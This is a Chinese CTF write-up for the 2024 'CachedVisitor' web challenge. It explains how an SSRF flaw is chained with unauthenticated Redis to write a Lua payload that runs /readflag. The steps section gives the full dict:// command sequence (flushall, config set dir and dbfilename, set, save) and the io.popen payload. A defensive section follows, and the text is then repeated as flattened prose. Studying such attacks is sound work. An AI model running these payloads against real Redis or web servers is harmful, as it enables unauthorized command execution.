2024年软件系统安全赛攻防赛web题CachedVisitor题解
字数 1617 2025-08-20 18:17:07

Redis SSRF漏洞利用与Lua脚本注入攻击分析

漏洞背景

本案例是一个典型的SSRF(Server-Side Request Forgery)漏洞结合Redis未授权访问漏洞的实际攻击场景。攻击者通过Web应用的SSRF漏洞,利用Redis的配置缺陷,最终通过Lua脚本注入获取系统权限并读取flag。

环境分析

关键组件

  • Web应用:存在SSRF漏洞的Web服务
  • Redis服务:内网运行的Redis数据库(6379端口),配置存在缺陷
  • Docker环境:flag文件设置了root权限,但提供了具有SUID权限的/readflag可执行文件

关键配置

  • Redis配置中enable-module-command no,排除了主从复制攻击的可能性
  • 无计划任务和SSH服务配置,排除了crontab和SSH公钥注入的攻击方式

漏洞利用步骤

1. SSRF漏洞验证

首先验证SSRF漏洞的存在:

dict://127.0.0.1:6379/info

此请求会返回Redis服务信息,确认SSRF漏洞和内网Redis服务的存在。

2. Redis未授权访问利用

确认Redis服务后,执行以下操作序列:

  1. 清空Redis数据库

    dict://127.0.0.1:6379/flushall
    
  2. 设置Redis持久化目录

    dict://127.0.0.1:6379/config set dir /scripts
    
  3. 设置持久化文件名

    dict://127.0.0.1:6379/config set dbfilename visit.script
    

3. Lua脚本注入

关键攻击步骤 - 注入恶意Lua脚本:

dict://127.0.0.1:6379/set shell "\n\n\n##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##\n\n\n"

解释:

  • 使用Redis的set命令创建一个键值对
  • 值中包含特殊标记##LUA_START####LUA_END##包裹的恶意Lua代码
  • 额外的换行符用于确保脚本在文件中正确解析

4. 持久化攻击载荷

将Redis内存中的数据持久化到磁盘:

dict://127.0.0.1:6379/save

此操作会将包含恶意Lua脚本的数据写入/scripts/visit.script文件。

技术原理分析

Lua脚本执行机制

目标系统存在以下执行流程:

  1. 主Lua脚本(main.lua)会读取visit.script文件内容
  2. 使用模式匹配提取##LUA_START##(.-)##LUA_END##之间的内容
  3. 执行提取出的Lua代码

恶意Lua代码解析

ngx.say(io.popen('/readflag'):read('*a'))
  • io.popen('/readflag'): 执行系统命令/readflag并返回文件句柄
  • :read('*a'): 读取命令的全部输出
  • ngx.say(): 通过Nginx输出结果到客户端

为什么选择visit.script而非main.lua

  1. 格式问题:直接写入main.lua会包含Redis存储的额外元数据,导致Lua解释器报错
  2. 内容过滤visit.script通过模式匹配提取特定标记间的内容,避免了格式问题
  3. 执行时机visit.script在每次请求时被加载执行,而main.lua可能只加载一次

替代攻击方案

通过外部Web服务器注入

  1. 搭建临时Web服务器,内容为:
    ##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##
    
  2. 通过SSRF请求该Web服务器
  3. Redis会记录请求内容到内存
  4. 使用save命令持久化到visit.script
  5. 触发Lua脚本执行

防御措施

针对SSRF

  1. 限制Web应用的请求协议(禁用dict://, file://等危险协议)
  2. 实施URL白名单机制
  3. 使用DNS解析限制(禁止解析内网IP)

针对Redis

  1. 设置Redis密码认证
  2. 绑定Redis到127.0.0.1或内网IP
  3. 禁用危险命令(如CONFIG, SAVE)
  4. 设置适当的文件权限

针对Lua执行

  1. 沙箱化Lua执行环境
  2. 禁用危险函数(如io.popen)
  3. 严格验证输入内容

总结

本案例展示了如何通过SSRF漏洞利用内网Redis服务的配置缺陷,结合Lua脚本注入技术实现权限提升。攻击的关键在于:

  1. 发现并验证SSRF漏洞
  2. 利用Redis未授权访问修改配置
  3. 通过精心构造的Lua脚本绕过执行限制
  4. 利用系统SUID程序获取高权限

这种攻击方式在CTF比赛中较为常见,也反映了现实世界中配置不当导致的安全风险。

Redis SSRF漏洞利用与Lua脚本注入攻击分析 漏洞背景 本案例是一个典型的SSRF(Server-Side Request Forgery)漏洞结合Redis未授权访问漏洞的实际攻击场景。攻击者通过Web应用的SSRF漏洞,利用Redis的配置缺陷,最终通过Lua脚本注入获取系统权限并读取flag。 环境分析 关键组件 Web应用 :存在SSRF漏洞的Web服务 Redis服务 :内网运行的Redis数据库(6379端口),配置存在缺陷 Docker环境 :flag文件设置了root权限,但提供了具有SUID权限的 /readflag 可执行文件 关键配置 Redis配置中 enable-module-command no ,排除了主从复制攻击的可能性 无计划任务和SSH服务配置,排除了crontab和SSH公钥注入的攻击方式 漏洞利用步骤 1. SSRF漏洞验证 首先验证SSRF漏洞的存在: 此请求会返回Redis服务信息,确认SSRF漏洞和内网Redis服务的存在。 2. Redis未授权访问利用 确认Redis服务后,执行以下操作序列: 清空Redis数据库 : 设置Redis持久化目录 : 设置持久化文件名 : 3. Lua脚本注入 关键攻击步骤 - 注入恶意Lua脚本: 解释: 使用Redis的 set 命令创建一个键值对 值中包含特殊标记 ##LUA_START## 和 ##LUA_END## 包裹的恶意Lua代码 额外的换行符用于确保脚本在文件中正确解析 4. 持久化攻击载荷 将Redis内存中的数据持久化到磁盘: 此操作会将包含恶意Lua脚本的数据写入 /scripts/visit.script 文件。 技术原理分析 Lua脚本执行机制 目标系统存在以下执行流程: 主Lua脚本( main.lua )会读取 visit.script 文件内容 使用模式匹配提取 ##LUA_START##(.-)##LUA_END## 之间的内容 执行提取出的Lua代码 恶意Lua代码解析 io.popen('/readflag') : 执行系统命令 /readflag 并返回文件句柄 :read('*a') : 读取命令的全部输出 ngx.say() : 通过Nginx输出结果到客户端 为什么选择visit.script而非main.lua 格式问题 :直接写入 main.lua 会包含Redis存储的额外元数据,导致Lua解释器报错 内容过滤 : visit.script 通过模式匹配提取特定标记间的内容,避免了格式问题 执行时机 : visit.script 在每次请求时被加载执行,而 main.lua 可能只加载一次 替代攻击方案 通过外部Web服务器注入 搭建临时Web服务器,内容为: 通过SSRF请求该Web服务器 Redis会记录请求内容到内存 使用 save 命令持久化到 visit.script 触发Lua脚本执行 防御措施 针对SSRF 限制Web应用的请求协议(禁用dict://, file://等危险协议) 实施URL白名单机制 使用DNS解析限制(禁止解析内网IP) 针对Redis 设置Redis密码认证 绑定Redis到127.0.0.1或内网IP 禁用危险命令(如 CONFIG , SAVE ) 设置适当的文件权限 针对Lua执行 沙箱化Lua执行环境 禁用危险函数(如 io.popen ) 严格验证输入内容 总结 本案例展示了如何通过SSRF漏洞利用内网Redis服务的配置缺陷,结合Lua脚本注入技术实现权限提升。攻击的关键在于: 发现并验证SSRF漏洞 利用Redis未授权访问修改配置 通过精心构造的Lua脚本绕过执行限制 利用系统SUID程序获取高权限 这种攻击方式在CTF比赛中较为常见,也反映了现实世界中配置不当导致的安全风险。